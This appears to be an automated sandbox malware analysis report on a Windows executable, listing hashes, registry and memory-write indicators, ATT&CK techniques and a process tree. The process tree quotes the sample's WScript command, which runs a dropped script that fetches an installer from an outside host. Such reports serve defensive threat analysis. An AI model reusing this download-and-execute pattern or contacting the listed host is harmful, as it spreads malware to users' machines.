39461939410962819baa61bce808bf0ecf0e0ab83681f4e5e393048e1779d653

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
21/05/2024, 02:28

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General

Target

61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe
Size

184KB
MD5

61bf8cfd0e062eb8fe6b07f6015d06d5
SHA1

2ed8f3b426b4f153a7dc854f6858c9ec74d4ac4b
SHA256

39461939410962819baa61bce808bf0ecf0e0ab83681f4e5e393048e1779d653
SHA512

a78df1f993679726c86e1284678542805e4d7d7eb8bd2ed0ac10ee27d6748dcc5c510cd63ba07edd29b6f0062a97a04c1cfdb159faeb5410dd7a7144ec170648
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3e:/7BSH8zUB+nGESaaRvoB7FJNndn7

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	5104	WScript.exe
26	5012	WScript.exe
29	2724	WScript.exe
41	3708	WScript.exe
44	1496	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 5104	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	83
PID 4884 wrote to memory of 5104	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	83
PID 4884 wrote to memory of 5104	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	83
PID 4884 wrote to memory of 5012	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	93
PID 4884 wrote to memory of 5012	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	93
PID 4884 wrote to memory of 5012	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	93
PID 4884 wrote to memory of 2724	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	94
PID 4884 wrote to memory of 2724	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	94
PID 4884 wrote to memory of 2724	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	94
PID 4884 wrote to memory of 3708	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	98
PID 4884 wrote to memory of 3708	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	98
PID 4884 wrote to memory of 3708	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	98
PID 4884 wrote to memory of 1496	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	99
PID 4884 wrote to memory of 1496	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	99
PID 4884 wrote to memory of 1496	4884	61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe	99

C:\Users\Admin\AppData\Local\Temp\61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\61bf8cfd0e062eb8fe6b07f6015d06d5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf348D.js" http://www.djapp.info/?domain=nbWGoFGtpG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf348D.exe
  2⤵
  - Blocklisted process makes network request
  PID:5104
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf348D.js" http://www.djapp.info/?domain=nbWGoFGtpG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf348D.exe
  2⤵
  - Blocklisted process makes network request
  PID:5012
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf348D.js" http://www.djapp.info/?domain=nbWGoFGtpG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf348D.exe
  2⤵
  - Blocklisted process makes network request
  PID:2724
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf348D.js" http://www.djapp.info/?domain=nbWGoFGtpG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf348D.exe
  2⤵
  - Blocklisted process makes network request
  PID:3708
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf348D.js" http://www.djapp.info/?domain=nbWGoFGtpG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf348D.exe
  2⤵
  - Blocklisted process makes network request
  PID:1496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf348D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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